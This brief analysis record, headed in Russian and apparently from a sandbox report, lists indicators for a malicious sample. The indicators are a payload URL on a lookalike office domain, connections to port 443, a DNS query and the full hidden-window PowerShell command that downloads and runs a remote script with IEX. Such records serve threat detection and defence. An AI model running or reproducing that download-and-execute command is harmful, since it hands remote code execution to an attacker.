Техническая информация
- https://office.ssccu.us.org/en/oauth2/mqzxgab/ptoupdate.ps1?doc_id=payload
- 'of####.ssccu.us.org':443
- 'of####.ssccu.us.org':443
- DNS ASK of####.ssccu.us.org
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://office.ssccu.us.org/en/oauth2/mqzxgab/ptoUpdate.ps1?doc_id=payload')" (со скрытым окном)